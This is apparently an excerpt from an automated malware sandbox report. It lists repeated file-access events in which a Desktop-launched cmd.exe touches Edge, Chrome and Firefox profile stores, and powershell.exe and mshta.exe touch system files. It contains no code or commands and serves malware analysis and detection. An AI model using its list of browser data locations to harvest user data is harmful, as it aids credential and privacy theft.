Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cy VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cy VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\da VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\de VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\el VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_CA VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_CA VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_GB VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\OriginTrials VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\es VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\RecoveryImproved VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\es_419 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\OriginTrials VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\RecoveryImproved VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\et VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\eu VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fa VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Speech Recognition VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\WidevineCdm VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fi VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fi VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fil VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fil VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\gu VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\hr VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\is VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\is VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ja VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ka VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lt VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lt VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lv VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lv VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ml VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ml VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\mn VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\mr VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\mr VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ms VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ne VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\nl VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\no VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\pa VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\pl VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\pt_PT VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
